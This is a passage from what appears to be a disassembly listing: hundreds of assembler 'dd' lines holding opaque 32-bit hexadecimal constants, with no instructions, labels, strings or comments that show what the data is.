		dd 454E6070h, 5702BEB8h, 77013ACFh, 0AF28E036h,	65B180E4h
		dd 473956E2h, 2800CB60h, 1EC0047Bh, 4AA09AB4h, 23382EF5h
		dd 0EBA204FEh, 0C2B0FC46h, 90C77FB3h, 0B7E9EAF0h, 2F00C094h
		dd 0EEFE7C3Ch, 985756h,	0BBD1669Bh, 0D39F6C15h,	60020E3h
		dd 0A868BF09h, 58F85316h, 1200C1A3h, 5F9813FFh,	0A2E5432h
		dd 6610E9B1h, 7521148h,	7092F7A1h, 50DC87E0h, 0CA9500D4h
		dd 0B4BA809Fh, 8A095326h, 65437A5Ah, 60FDE4ECh,	298CA80h
		dd 72D005A7h, 2C401A75h, 858443BEh, 60674470h, 212A53Fh
		dd 0B8FB1C96h, 1855EBE9h, 7C62C88Ch, 0D56D3A2Ch, 9116DD02h
		dd 207680E7h, 739F4674h, 41F59015h, 2471398h, 7E7610D0h
		dd 8108B6CBh, 0CA9817DDh, 3C58217Ch, 5D448058h,	62780Bh
		dd 56CD0AD0h, 0ED3BEE7Fh, 0FB64BA1Dh, 46216F41h, 402ECBB5h
		dd 0A5CA4F80h, 791ED5ADh, 0B2C33A11h, 807CD493h, 7A15E6Bh
		dd 336CC0BEh, 3ED3303Bh, 9A0067A3h, 9C0BEB47h, 0E70FA7Ch
		dd 9882A90h, 60E06887h,	941BA5B2h, 0DC7AF403h, 0A37C448Bh
		dd 54210017h, 21A2A59Bh, 0AF0612Fh, 3EFC30F9h, 0B199BF00h
		dd 13A1EBD7h, 516606DDh, 3887F37Eh, 0AFFA0A0Fh,	0AC42609Ah
		dd 0ECFF60A2h, 83F33016h, 0A73EF021h, 2B0608F8h, 1AF706BCh
		dd 21ED6008h, 26A73646h, 0B98ED700h, 22838AC1h,	0A50314F8h
		dd 24B864BDh, 36F078Ch,	0B6D05F13h, 0E13869D6h,	6D8EFE5h
		dd 0E312589h, 0AB66E815h, 649C5Dh, 0D238D08Ch, 161FFC31h
		dd 0EF806BC7h, 3A96FE77h, 0A9D41E6Fh, 0F5AD80E7h, 0C7DCA145h
		dd 59EACF30h, 0A9817Eh,	0E7718B01h, 0DC62BB97h,	865EA107h
		dd 0F7A0550Fh, 1F0E5B21h, 0B0D0950Bh, 0C661C039h, 60693307h
		dd 48765CE5h, 21D36108h, 0F0C65A27h, 7600AFA3h,	61E8BF47h
		dd 766C1F24h, 29DF61E2h, 8ED489EBh, 90782FF1h, 1AB67B00h
		dd 845FDC0Eh, 9E75FE07h, 44A0B4F7h, 0E3E12F08h,	6F612885h
		dd 28C430Bh, 0A3C0DA5Ch, 0B0C85A48h, 0C662C0A0h, 18FF6932h
		dd 5B2088D5h, 5EC7C618h, 76096278h, 2550AE8h, 38A49704h
		dd 65467F00h, 29FFE1B9h, 61B01506h, 681086Eh, 8947B359h
		dd 0DD001111h, 3464C3F5h, 42CDD4h, 65249BA3h, 28389089h
		dd 688C1500h, 0E7AB6A91h, 0F1010C9Ch, 0D891D6CFh, 0CC663300h
		dd 26BD544Bh, 96E1012Dh, 0B0AC1895h, 286BCC98h,	0BE986D54h
		dd 0E216D660h, 320E854h, 0B940369h, 8BC8570Ch, 4CB0E04Eh
		dd 88315C60h, 7BB0CA1Bh, 842607EFh, 46271DE7h, 19002180h
		dd 6535CA13h, 30C75615h, 5999D1CDh, 5C03F7F6h, 0A024E970h
		dd 0CCF3C0AEh, 7AE7040Eh, 88F40173h, 24013EB4h,	0DD34C09Fh
		dd 485191DBh, 5180EFCFh, 835FF42Dh, 131D9A1Eh, 0C5408CCCh
		dd 0EEC9603Ah, 0A80CE261h, 5B16BA8h, 5DC15C5Fh,	3FC01FFEh
		dd 8091F2F6h, 79C089F3h, 92DE6004h, 62993A4Fh, 0E22F5F00h
		dd 0E067903Dh, 3646D090h, 1FA5AE07h, 327C1494h,	97482022h
		dd 0CF19C8A5h, 0DD680EF1h, 8D02A910h, 11F903Fh,	7871F585h
		dd 3985126Fh, 4A64F70Dh, 118C48A8h, 772F18D9h, 1A16119h
		dd 1D8547EBh, 0F51530C5h, 6288C02Ah, 0AAC34B3Fh, 0E00794C1h
		dd 384ED011h, 6F63007Eh, 0A3F8CCBFh, 62AB84h, 2872FA51h
		dd 91FF4B4Fh, 0D398482Eh, 4D29B918h, 7E2C0040h,	718CEDDBh
		dd 0E7015B16h, 69665CD0h, 7D13B589h, 0D00A6FE1h, 9253069Ah
		dd 0FA112DCh, 0D423AC2Fh, 41433500h, 6CA258Bh, 8E5694F3h
		dd 0D8F7D919h, 3B07402Eh, 2A95847Fh, 3EC495Eh, 0A8DF89F7h
		dd 990F10DAh, 18D87940h, 0B6214F4h, 92249EB2h, 0EDE14110h
		dd 0F4298FE6h, 0E4C2C691h, 0F0DD0011h, 55E8F1FBh, 1B015E5Dh
		dd 613925D8h, 19D8B607h, 0A7050CF8h, 88306EA1h,	98C91360h
		dd 143D13Ah, 53C2B13Fh,	50702866h, 62D99BCCh, 32C79D01h
		dd 74129860h, 11D7BC8h,	0C255EE61h, 0CCAB40EDh,	0F298919Bh
		dd 0C68BA903h, 0E965D798h, 0A180E9CFh, 0BD30DCC4h, 410054ECh
		dd 97F2669Eh, 34BE6C0h,	6362CD10h, 0B00F727Eh, 23B7DC92h
		dd 3CD7CF97h, 43804F41h, 6F693BF8h, 6B076466h, 88765879h
		dd 0A7FBC040h, 677261h,	0D2B78ACFh, 0BACEF77Bh,	58F19D02h
		dd 0A4D5A5D0h, 708928A4h, 981824D0h, 9C3900C1h,	65A62ABFh
		dd 1458AD5Eh, 409D0E50h, 0FC30121Fh, 12487F9h, 8BB9B266h
		dd 0E4303BEBh, 5D1EA9EEh, 0B91E798h, 92B10D3Ah,	8FCCD069h
		dd 20B4FC41h, 84D307ABh, 4E5E00D5h, 0D1B12136h,	150A2258h
		dd 0ECCE5B9Ch, 0C19BD340h, 0C673A42h, 0EAA78500h, 1D89485Ah
		dd 9EC869C0h, 690340h, 97A8D128h, 70610678h, 0B400B37Dh
		dd 6D15125Bh, 1D13BF3h,	0B2F2FDE0h, 0DC1FEA91h,	6905754Ch
		dd 6A2C4E82h, 1BA043Ah,	22F83DB1h, 33F8BC74h, 58CA3DA1h
		dd 0B819B3BEh, 0C0121823h, 0B183B611h, 408081C3h, 7DB967D3h
		dd 0F5E98476h, 61198CCEh, 0E4906192h, 0EBF50371h, 0B5C40A6Bh
		dd 5F81F9B8h, 7706EDB0h, 0D35130CCh, 0BB761D58h, 982A1812h
		dd 400CD37h, 0E9348B98h, 974C6867h, 0B9293F06h,	0F8E35503h
		dd 5BA1559h, 888D0F79h,	4480FB64h, 3C022B8h, 1F453DDCh
		dd 8CAB3C52h, 0CB93990Dh, 7AC8492Bh, 0EF3200ECh, 26AB5635h
		dd 29C02561h, 6D17D3C9h, 93E7008Dh, 0B547FC45h,	0B4005164h
		dd 0FB9E62EAh, 5C9F98C5h, 18740A4Fh, 49418C69h,	0B800BA8Ah
		dd 0EE1970D2h, 0EC898Bh
		dd 0E136A5FDh, 0BC6B83E4h, 7D326000h, 90DF978Ch, 35F0C025h
		dd 82A40115h, 801CE0F8h, 0AE40D16Bh, 0E6309FFBh, 0B14A0245h
		dd 0F6699078h, 0E46098ADh, 0D7398CEFh, 8948E364h, 0ADAE89E1h
		dd 290CE448h, 81ECA9B1h, 89E6E895h, 378AC09Dh, 0BA1158C0h
		dd 2BCDDBh, 0D6493B6Bh,	34F7AEA3h, 71178400h, 4E44EF27h
		dd 0F8560099h, 0C5A7770Ah, 0C8C73B4Ch, 7180A5E9h, 6087B533h
		dd 0CD4138ADh, 7E4C5A7Ch, 10A804F6h, 3C8036A7h,	0C67A9EDh
		dd 2D6B6CBDh, 34F83EC8h, 7503B300h, 33485F50h, 0A38F00BCh
		dd 0A522C84Dh, 6D00160Fh, 34083FABh, 6665Dh, 0C6486336h
		dd 0E40536Ah, 80F12C7Ch, 5409A318h, 2BF7BB6Eh, 4F202F1Dh
		dd 21839668h, 0A00B4B6Eh, 74090AAEh, 7E2F261h, 5F526AF7h
		dd 1EFAC038h, 0FF00907Fh, 879CD119h, 2193A210h,	81CC0B4Ah
		dd 8207E4ACh, 0A9291410h, 72156507h, 0D6C0557Eh, 7C80199h
		dd 0AD0D5EEBh, 8945F037h, 507A6BD9h, 1AE3300Ah,	8B23409h
		dd 7180A2CBh, 0A021378Ch, 27F94BF1h, 3DD4A820h,	7800ECA8h
		dd 5F858765h, 92098BAEh, 11D7613h, 2454E2A4h, 16C3820h
		dd 8264FF5Bh, 4897D6h, 6635613h, 55E12C42h, 6F22292Ah
		dd 9F5022FDh, 0A7111242h, 873212Bh, 0FE889DABh,	11B08862h
		dd 22E2079Eh, 9A79A2C8h, 8917F288h, 44B7082Bh, 228446A1h
		dd 3F440DAFh, 0EE400037h, 0CCDCA47Bh, 783F859Eh, 1C689D99h
		dd 0AEBCC280h, 6BEAFCh,	0B0603101h, 2AE27FE5h, 825B6100h
		dd 0AFB3FE8Eh, 0C69E005Eh, 1B5983A7h, 0AD00A184h, 0FD0F4C28h
		dd 1C14FA1Eh, 8063E85Eh, 34C5B13Fh, 2000B8E5h, 5BD09B46h
		dd 3BFC1BDh, 79DBEBEDh,	96C84570h, 0A1240C39h, 9F001786h
		dd 0F5F02E51h, 59E206h,	0C11C4397h, 0A99E6956h,	7E914501h
		dd 0B119014Eh, 0F6FD530h, 0AD4105BDh, 8824C8A0h, 0B07380AAh
		dd 130C190Fh, 0A1836F7Eh, 0C042EBAFh, 9521E8h, 318CED20h
		dd 7A80E58Eh, 0CB734000h, 8D4A4F5Dh, 402A60C2h,	92591AB3h
		dd 0E707157Bh, 0CCD595B5h, 0DA757420h, 8FE3001Eh, 59D6913Dh
		dd 9F0F0C68h, 40942F5Ch, 54B96D44h, 0B7CC0028h,	3BAF679Ch
		dd 0C70F4925h, 67785864h, 1B70EEE7h, 4E43B2h, 1DE11FA5h
		dd 318DF1B6h, 7F8A340Fh, 110320FDh, 684357h, 0AB66B0BDh
		dd 1ED787DDh, 0C2FC68C0h, 1DF6A4CCh, 805CF39Ah,	0AF01E015h
		dd 48003A8Bh, 21B26DE9h, 0BFF8D2h, 2E26F7B9h, 87C4AA07h
		dd 6EF5D400h, 0C0BEAA5h, 70274CFEh, 0F40B813Ch,	2400F81Ah
		dd 0C051DE1Eh, 8B62BF07h, 0E1B0490Dh, 9ECD81h, 2B857F6Bh
		dd 5FAA5B27h, 1A7C3C7Ch, 0D44B671Dh, 0C126640h,	923562h
		dd 0C68CA18Fh, 57CBDCE0h, 96460E00h, 9122207Ah,	71640BAAh
		dd 78006B4Eh, 32F88619h, 0C2184200h, 726E2B0h, 447000E8h
		dd 3335B972h, 7F3D4ACAh, 69B88504h, 88009A3Bh, 558AEEFDh
		dd 0EBD1C34h, 277A16FEh, 0C6E38FF4h, 0BBD073FBh, 330060D2h
		dd 0E4B4C539h, 54A914h,	0FB75A145h, 0CF7B7A22h,	2DB20600h
		dd 5E1E927h, 25B7006Dh,	6A5AA260h, 2A39D4ACh, 9F1CFF76h
		dd 39018A8Ch, 303E3F44h, 918E2880h, 0E5D0DBC3h,	62D2E41Fh
		dd 1FAE9387h, 53EDF350h, 0EFB53DCBh, 75BA1C80h,	0ECA33D29h
		dd 0C9B46600h, 0CD688EABh, 0A877072Fh, 50567F12h, 4C85D921h
		dd 9E015200h, 0A958926Ah, 7CDF03AAh, 0BA2316D7h, 15265988h
		dd 1A9B8301h, 0C075687Ah, 0AE4070h, 5455FFC9h, 73342098h
		dd 80BC933Eh, 72E86D09h, 18F3A9Dh, 44121AEFh, 80496179h
		dd 857D03C0h, 75C694Ah,	0F1082927h, 33535181h, 4344C448h
		dd 0B2DC032Eh, 193D7002h, 6EAC8038h, 48EC28C3h,	3600D0BBh
		dd 24D4EE42h, 0C500414Bh, 0DBF8A387h, 1E503404h, 0DF0DB33Ah
		dd 0CDFF0070h, 0AC06803Ch, 0A12C9103h, 9020319Eh, 12FA4C3Fh
		dd 0F22DD2h, 3671982Dh,	0B00E2BD3h, 20D8631Bh, 0F877ACF3h
		dd 1CBE0A7Ah, 4B02371h,	808AB156h, 16DADD40h, 0D5F89500h
		dd 284A1A57h, 48D97869h, 0A01E44CEh, 0C8072003h, 77F6918Ch
		dd 0BA6818A1h, 73EBC88Fh, 6940A980h, 1D0005FCh,	0DECC4753h
		dd 3C62A8h, 0C9EEA586h,	0BD7CF2D7h, 8EA0AF00h, 0B8E484F4h
		dd 0E28A00BBh, 5464651Dh, 0D0C04BCCh, 0AFB7FFCFh, 0E3080026h
		dd 0B9712CB1h, 73059456h, 5C392884h, 0DFF4BB80h, 25C20066h
		dd 0C8A8D842h, 0DD0FA182h, 80A0B274h, 57709923h, 76FA98ACh
		dd 85C1006Dh, 0D54F8344h, 0F00025D1h, 570E9EEBh, 0F414EA9h
		dd 0C5697A75h, 91CFB780h, 22008F6Fh, 4B0C2D27h,	5B239h
		dd 2F1252Ch, 0B738E19Bh, 0C61CE8B8h, 60C0AAF6h,	0FDA74D5Ch
		dd 78EF01C8h, 6DB59D09h, 0F0882135h, 70714C9h, 0AC73516Ch
		dd 0BED88481h, 44AFE4h,	244EFE64h, 0E881A213h, 1A65561Eh
		dd 0C2AED6C0h, 1F946C75h, 0DB4532D3h, 0A1C85011h, 0DC928BB9h
		dd 1B4D0B1Dh, 0BE937140h, 1FAA289Fh, 8E955Dh, 4934D138h
		dd 0C2007B16h, 0FBA62ABDh, 1E704483h, 809571C8h, 1F823C22h
		dd 46000221h, 18BA1BBBh, 4C8F3F08h, 57002845h, 21759DEAh
		dd 0E75834E2h, 553A006Bh, 0D8C2BACEh, 0B25006Bh, 0B80947DCh
		dd 0E5006E06h, 82E8EF5Ah, 52296h, 0BF01AEE2h, 0A5DE64B7h
		dd 0F7BCEB01h, 652F33Ah, 5F4FAF4h, 1973EF41h, 8900801Eh
		dd 6490D78Dh, 0A5C1F800h, 6F346A14h, 5ABB0044h,	112E32BFh
		dd 2A00907Eh, 0E0F50559h, 4C1DDFEh, 0FF9182E6h,	0CBE4C032h
		dd 7F02DA43h, 12B8D0A8h, 33F66009h, 5B10585Ch, 80B2C01Fh
		dd 2D0D47F0h, 0C30044CCh, 6D1EEE7Bh, 3F28E57h, 529BBFFAh
		dd 9FA0D29Ah, 0FCB02F4Dh, 587CB901h, 0B2AB3BE0h, 0F3F464h
		dd 918FE8BDh, 0BC7A6823h, 273A5F7Fh, 0F1E102D0h, 40B91C4Ch
		dd 0BFE97A0h, 0C09C8A92h, 0E5C1B000h, 7E00A731h, 7093A34Dh
		dd 0A0C2A5h, 3B879883h,	8C46F038h, 0D2221D00h, 6BC897D0h
		dd 2C5A1ECFh, 0DABF8083h, 0D1AE19D9h, 330E84ECh, 0A0C0F3C7h
		dd 50C52544h, 0E4AA0059h, 5E790CD9h, 6B00B1C8h,	9529F6BEh
		dd 6711D8h, 8A4003C5h, 8992B01Fh, 0ED15751Dh, 243AC680h
		dd 9D4A814h, 55D20549h,	0F42B7A80h, 370067C4h, 0B8D80F36h
		dd 0E8CC8CADh, 0EBB700A5h, 3CD945FBh, 0D51CE142h, 5800360Ah
		dd 0D11AB6CEh, 4BEAF2h,	0C2DD5326h, 0CCB7DF94h,	3BA64C00h
		dd 0CA93C85Fh, 0E4D854BBh, 8C210057h, 6DAE445Bh, 5A0025FAh
		dd 0ED881F3Ah, 0FDCA224h, 0CB4C9C8Eh, 50008154h, 0C54298B4h
		dd 6100FB40h, 10D4DEAEh, 0A268C7Eh, 2D386288h, 0CFCD00E4h
		dd 7389E2EBh, 0F6DC2400h, 0AFAD5330h, 597D00F5h, 0F792668Fh
		dd 6700EE86h, 4BB18E39h, 7E66CFDh, 0C4BC7CBEh, 0F24ED1D2h
		dd 0F056D84Fh, 9BF85500h, 0C34D1C31h, 282E00B1h, 0ECC1DA6Dh
		dd 8B586F2Dh, 0C97F3BC8h, 0F9790234h, 0ADB4FFh,	562039A2h
		dd 9E65A807h, 0C55007CEh, 0FC7DEB37h, 16C400D0h, 38B070FDh
		dd 90000961h, 896771D7h, 52C800Dh, 0C01BD8D2h, 0D4008986h
		dd 0BA031E95h, 0EA8549B2h, 8BB698A6h, 41C126F9h, 0E06C0238h
		dd 0A3E0BC25h, 6E006736h, 4ED4CE54h, 3F83B71Dh,	0EF98E1A1h
		dd 236B609Dh, 96957600h, 25A3D9D4h, 0D61A00C9h,	0D3DBAA85h
		dd 0CE3AE551h, 77007CB7h, 8A15565h, 0BE5938h, 0F2981ABFh
		dd 5BB0E8EDh, 5F07B18h,	1560C4A4h, 0B4D88707h, 190E0900h
		dd 0F2C29F5Fh, 62D43A09h, 0B584842Dh, 0F46DA680h, 0F65E006Fh
		dd 4612FD38h, 9D71E44Bh
		dd 0E800A9FCh, 7DC94D98h, 0FC56B3h, 315B8D14h, 1018D667h
		dd 5D6870CBh, 76308D0Ch, 0EEB5BB00h, 633151FEh,	2EE700F4h
		dd 9D789836h, 1E3CAF0Ah, 439F8745h, 5390C684h, 1C1A99BEh
		dd 456EFB3Ch, 80B01BB5h, 0DEF5420Ch, 6B5CC900h,	2CF9AA81h
		dd 0A5DD0024h, 31718991h, 4B013D04h, 681B2B4Dh,	3B207FDEh
		dd 0D2D40080h, 0E6A09B33h, 0F7E03AF8h, 0CD059500h, 601A6475h
		dd 0C23B03B2h, 0A5D75978h, 0B6BD0200h, 0C84A0AD9h, 4720F8Dh
		dd 9C005AEh, 0E225A2C4h, 7B00A4B0h, 86DFE3BEh, 4A18F41h
		dd 1295A63h, 43D4C034h,	0B004817Eh, 47BEFE0Fh, 25A218A0h
		dd 1F7C22E0h, 54C6C700h, 12BCC68h, 44AE7E13h, 0E03BFF6Fh
		dd 4D0B3F5Ch, 89097718h, 78A48034h, 0FCDEB6h, 0B520D221h
		dd 79DC7A30h, 980BEA1Ch, 158260B0h, 46F400ECh, 5022C4D2h
		dd 0DA008676h, 0F8C3F65h, 5909C2h, 94A4A6D6h, 0EEC1E9AAh
		dd 0FA03770Bh, 0B88C80BDh, 4C1E0CF0h, 0CC00C03Bh, 10405366h
		dd 0A1003E5Bh, 80E03323h, 3985A6Ch, 6A3CEF83h, 0F0D867D9h
		dd 0CF00A94Bh, 0B72AE438h, 3B02D46Bh, 0C11EF5D7h, 0DAE6001Ah
		dd 9ABACA4Ch, 18C33Ah, 0E2563638h, 0B8C74A45h, 2F9737Ah
		dd 5A9119AAh, 0D8781C28h, 0CFA2D706h, 4857D1h, 0F3F5795Dh
		dd 1648A868h, 88FC8600h, 8E1C389Bh, 81BD001Eh, 0ACD5824Eh
		dd 6A1F19F1h, 4FC0514Bh, 29DABC78h, 0F0AE009Dh,	371B3A04h
		dd 0A20009A7h, 1F366CA4h, 414238h, 6416DBFEh, 0D3F67D4Dh
		dd 3E91F800h, 2744483Bh, 0EC2000C7h, 821943FFh,	0ED0E7AE3h
		dd 1613CD5h, 7E94453Fh,	6788C4h, 3707FA1Dh, 8FEB3343h
		dd 0BD390100h, 973C5FA3h, 91DA1240h, 1434C0F1h,	0EF008873h
		dd 746CEA2Ah, 0B21C303h, 0E12C48DFh, 7E81A28Eh,	200D6925h
		dd 6020852Ch, 1EE94E4Fh, 53208098h, 0E15E4E89h,	7E8B722h
		dd 17EE0E80h, 183AE1C6h, 707C70A3h, 0B2FC8A5Eh,	79A2AB00h
		dd 57CC1940h, 5CB4BE00h, 0DF0378D6h, 70C90C4h, 0F284A67Eh
		dd 0A2DD3062h, 0D70C81ECh, 20C51D55h, 78FF0090h, 0DB167920h
		dd 9760776Dh, 2BBA679Ch, 19373AF7h, 3FCE6880h, 0D771FB8Dh
		dd 89D0BF00h, 5E98CD69h, 2A90DFh, 4108D4BAh, 0ED1770EBh
		dd 0A075AB00h, 0C3F28762h, 0D2B1F96h, 3E1D8098h, 6B497183h
		dd 6E07FE00h, 797B4631h, 4DE0008Eh, 41CCB9DFh, 8C90285Bh
		dd 597EF00h, 0E5473D52h, 0D09C3873h, 80010A9Dh,	67F1A3Eh
		dd 0A301C41Bh, 0D3383AA6h, 0F130072Ah, 0DB8200BBh, 875E5817h
		dd 0AD0504E1h, 32B1FBE0h, 0A07886h, 23FA0E74h, 692DDB3h
		dd 0EAB44112h, 0EECFC421h, 7B38C03Eh, 1400D890h, 540CA372h
		dd 7A17181h, 0E4B60B6Eh, 0ECD3605Dh, 5248C3E7h,	0B70D1F06h
		dd 1FD8B802h, 4FACC062h, 0D1BA1D1Dh, 4E0FC0CAh,	0FE52616Dh
		dd 6E8A1800h, 0F2857265h, 0F4AE0E27h, 20C058EDh, 714E2499h
		dd 9D0C700h, 0F0C6DE65h, 0E40600A8h, 12A5AA5Ch,	0A90F60B9h
		dd 601A5483h, 0EFA32843h, 6CC30090h, 2A033172h,	0D200B836h
		dd 7AC2A66Ah, 3802A9h, 0D0B33C1Fh, 934497E3h, 0A50BC00Fh
		dd 0BB7C677Dh, 909080BBh, 0AAD5CBh, 4DE876FEh, 9F392FACh
		dd 452C8512h, 8AB26000h, 0CCBAAEh, 0E99B5160h, 158CF3BCh
		dd 6199A100h, 344D1421h, 1F0BE05Dh, 400FED58h, 0C2E49043h
		dd 0B000EB23h, 108CAA56h, 2C95A607h, 0FC460DCh,	4093C250h
		dd 8AB1F3F0h, 0F07F12BCh, 24001E7Ch, 0B975DEE4h, 49F27950h
		dd 0D22E98FBh, 6B398148h, 0C314C5E8h, 2DE39EB0h, 3958424Dh
		dd 22F813AEh, 0E065D00Fh, 50A0ED4Dh, 95FF0059h,	8CCC5E9h
		dd 0EF002A94h, 2E72F393h, 98C078A8h, 0BDB0063h,	0FAC83FDEh
		dd 0DA00E190h, 0C269EBFDh, 26D73B26h, 0FAF3E58h, 0B0209AA0h
		dd 242AB960h, 5CCAB500h, 0F59FD8C3h, 3F2700AFh,	0C98164FDh
		dd 0DD0697CDh, 5387108Eh, 44080031h, 4C8FA68Ch,	820EAF60h
		dd 602014D0h, 0EFCB6398h, 963A0057h, 0A327D670h, 0E007871h
		dd 0E730ABAFh, 0F8C6720h, 0F57F1758h, 14E6DAE7h, 0B52CB0EDh
		dd 7903C77Ah, 1A6F2625h, 6D3BD8E3h, 81630B64h, 988031E7h
		dd 0D2B7BE95h, 85D53Eh,	0D8EB9B86h, 0D0CD23h, 0AE8780C3h
		dd 0DBE2441h, 5D864700h, 152E2603h, 9B960051h, 0AD6567E8h
		dd 6B0E8574h, 604A4E01h, 50939984h, 0C0712462h,	24283Eh
		dd 25CBD6E6h, 76D477Dh,	10239407h, 409BA9D9h, 5A61B4h
		dd 0A73F29A0h, 3E53F1CDh, 380024F0h, 0A4CFE7DFh, 2EF5C02h
		dd 0E181F305h, 244061C9h, 4E72E504h, 0CBB94726h, 9A391801h
		dd 4BD1B8F9h, 5F00203Ch, 791C6E13h, 5900477Bh, 7D8CD52Ch
		dd 0E483AFF7h, 90E003F5h, 47A178Dh, 0D242D9CAh,	0C467F080h
		dd 0D81C3427h, 30EE7F53h, 0C083020Eh, 246B1F66h, 0FC23001Dh
		dd 0D21EC92Eh, 0FB05E8ABh, 0E2FD4B74h, 0DA0BAB16h, 5F108097h
		dd 3FE17B5Ch, 99800836h, 0F32E8B0Dh, 0E700427Fh, 98A2DE54h
		dd 0E87BE68Fh, 63FE2412h, 27820034h, 7DD6BC36h,	0B4CDDE00h
		dd 5FA841C5h, 113F00A3h, 7E8833C1h, 0AEFCDB87h,	55F17D00h
		dd 8E0D9CB5h, 0DD7094h,	0F236B65Ah, 954F066Dh, 6AC32100h
		dd 46727845h, 78F95CCFh, 6FA2BB01h, 3844A6E1h, 0D3CB0094h
		dd 58FB06EBh, 65E000CEh, 0C2351155h, 0BB00796Ah, 9E7DF512h
		dd 1F5F3Ah, 0ECE9B7E2h,	815CBC1Ah, 2338F02Eh, 7EEF3301h
		dd 2A57B0h, 16F4778Ch, 0F1F06E75h, 0B5CD0717h, 419AC201h
		dd 64C03E38h, 0BFD60096h, 0EC402D9Fh, 0D85EAA85h, 7A8F6810h
		dd 78116900h, 0E06F795Fh, 2C820215h, 0B81250D2h, 0B4010C7Ah
		dd 909E8916h, 8303EB6h,	7677002Fh, 8CF4B9C5h, 16244AD4h
		dd 9D09FCC7h, 0A69F00F0h, 0F2840EC1h, 1C290086h, 45F9EB4Dh
		dd 9AE04409h, 18F18905h, 4BC01E04h, 7D2D7DAh, 8B43083Eh
		dd 0F9279353h, 0D6DB2B0h, 0E0006AF4h, 0DC57162Bh, 9886C566h
		dd 56A104C4h, 80CB464Ch, 48F48119h, 7952D100h, 7DC3470Ah
		dd 64B50E41h, 1E003071h, 0F54F9C1Dh, 0E53E1200h, 0E9F283E1h
		dd 0F7FFA0B8h, 2B9F005Bh, 0A79BDBA1h, 0C4FA7434h, 0C2F9F800h
		dd 0E96D1F9Ah, 0FBE3006Eh, 290A47A6h, 0B4001685h, 0CCD91AA4h
		dd 7CDAEF03h, 0B53A009Dh, 0B78140AAh, 0C400B694h, 6D3C7BCEh
		dd 7CA62F5h, 95A7C36Ah,	11F730F8h, 3E002D37h, 0B801A230h
		dd 0F2931496h, 0B68B057Ah, 40BE0549h, 0D4F330F8h, 4D000EEBh
		dd 0E4C6BAD0h, 0EDF8688h, 0FE633866h, 0C5AE407Eh, 0D58195E9h
		dd 4EC45A02h, 60FB89A7h, 960268h, 48A1907Ch, 81EEE2B7h
		dd 96A2A0Bh, 852F8E83h,	380F346Fh, 0C74AA7EFh, 0B0E23580h
		dd 0C5360016h, 0A30CBD0Fh, 0EA007A46h, 0EF2D8770h, 7861A8DCh
		dd 8D0F000Dh, 0B6AE7809h, 0E700C535h, 4032E5BDh, 160B171Fh
		dd 80B97928h, 54F8288h,	52098E01h, 0DCE2D1B2h, 362DF0h
		dd 94FEA6DDh, 0ED1F5949h, 6C48CA60h, 1D64F90Fh,	412FF482h
		dd 3C24252h, 70D9E9C4h,	0E300E2C1h, 34F7BFA6h, 4ED56Fh
		dd 0EEA5CC0Dh, 0F470E95Ah, 0DE1F7C03h, 90AF318Dh, 0FCF1574Bh
		dd 0EEA00043h, 0D056C227h, 76782F93h, 0B5C06400h, 30C61350h
		dd 9CB6008Fh, 347ED568h, 37000A53h, 42C38159h, 6792AFh
		dd 0C5798E2Ch, 0C29FBAEh, 58A0AB00h, 960669B8h,	4CB90B07h
		dd 0C901245Ah, 0E8894454h, 0EF2C568Dh, 410084C6h, 0C70462EAh
		dd 635212B8h, 4AACC127h, 7165E090h, 9B9DE909h, 862D80C3h
		dd 55B8F84h, 112CAAEFh
		dd 0C6DC47B6h, 7B51078h, 89E06472h, 7F04C000h, 0FE8AF3ABh
		dd 0A0100D6h, 4E828B15h, 0C2016D8Ch, 0FB626716h, 806EE0E4h
		dd 71EA56A5h, 0AC554600h, 3A8D01Ch, 2B1F0028h, 0E1D1E42Eh
		dd 0C40FA16Bh, 835AD835h, 93612Ah, 0E8207EB1h, 77D590Dh
		dd 0FB95EE00h, 7A1B2EC4h, 75476A8h, 1783DF4h, 0FA877167h
		dd 471880D8h, 0ECDE59E4h, 586D00FDh, 0B0130EDBh, 0BA1CE28Eh
		dd 1CE4696Fh, 6F9AF80h,	45ED17h, 3112B320h, 0B8DB0AA4h
		dd 0D87C5400h, 0CAFD7E46h, 9F68000Eh, 0DFE76E76h, 81F1ADBEh
		dd 0A1AE2CF8h, 93E010CAh, 583B6FCBh, 0CC00E289h, 3061A232h
		dd 2048D1C1h, 6F8F61Ah,	800C18AFh, 380489C7h, 6EA1BD01h
		dd 0B9FC079Fh, 1E587D8h, 0CF0B6512h, 4B0A8F29h,	37EE0004h
		dd 2321EB93h, 26FA03B4h, 0F18EAB2Bh, 0BBD092E3h, 2200A475h
		dd 0FAF3CFBAh, 0EC8C21h, 0F934148Eh, 9435C31Eh,	2300E67Ah
		dd 2F5EEAAFh, 3ABF8E96h, 6860CAB7h, 929D04C9h, 20E302F2h
		dd 0FF194C1Ch, 8489DBC2h, 0AE9CDCh, 9F8EFD07h, 323B397Ch
		dd 5100D2E6h, 0AB14694Ch, 0E48E5FAh, 0C3B3765Dh, 0DCA81E3h
		dd 80D9DAE1h, 87A0CF18h, 68FBDDh, 29CE238Dh, 951EF72Bh
		dd 79E250Fh, 0AC70985Ch, 606B070Bh, 1FDB88F0h, 0CE21C07Ch
		dd 27C68B2Eh, 0ABD5450Ch, 0A0A20C3h, 0CCFFC133h, 0EC827820h
		dd 0BA80818Ch, 9C7CF718h, 0F8D04AF2h, 90BD8880h, 9DAF00E9h
		dd 0CD976D84h, 0C5F5034Ah, 1113D0ABh, 0D8A18A8Ah, 0CE011AB0h
		dd 0DA7586DFh, 0DD450041h, 0D4695AD2h, 0F71C38F3h, 0AE07A548h
		dd 0B20EDE6h, 33958ACh,	673E0A2Fh, 4198F1C5h, 3149263h
		dd 290CA82h, 35FA2821h,	6F1048C4h, 69CD0089h, 5E2A9D57h
		dd 8C6844Eh, 0EE202867h, 0D1CD0081h, 593DFEE6h,	2730B004h
		dd 0B3F85012h, 66801DCFh, 0AA00205Fh, 0C6F1051Bh, 0F28BE42Ch
		dd 0C08CC84h, 93002321h, 38C6DD05h, 340FAAh, 76E7EB50h
		dd 889F46C2h, 0B5E47400h, 0F49290ADh, 1089155Dh, 2F008C9Bh
		dd 787FCD0h, 0C40E63D2h, 8C64220Fh, 405D2137h, 0EA0310B9h
		dd 4169C828h, 85E938CCh, 0F0E79900h, 544B8A81h,	38A9533Eh
		dd 249524FDh, 9ED7AB00h, 280BB8ACh, 30FC47B0h, 0E141D6A7h
		dd 8100724Ch, 0D7C3BAABh, 0AF2F0Ch, 802990C0h, 64C2A84Ah
		dd 0B1CC610Ch, 6A289188h, 0C5C2CE3h, 1ED0C421h,	0FCB7028Ch
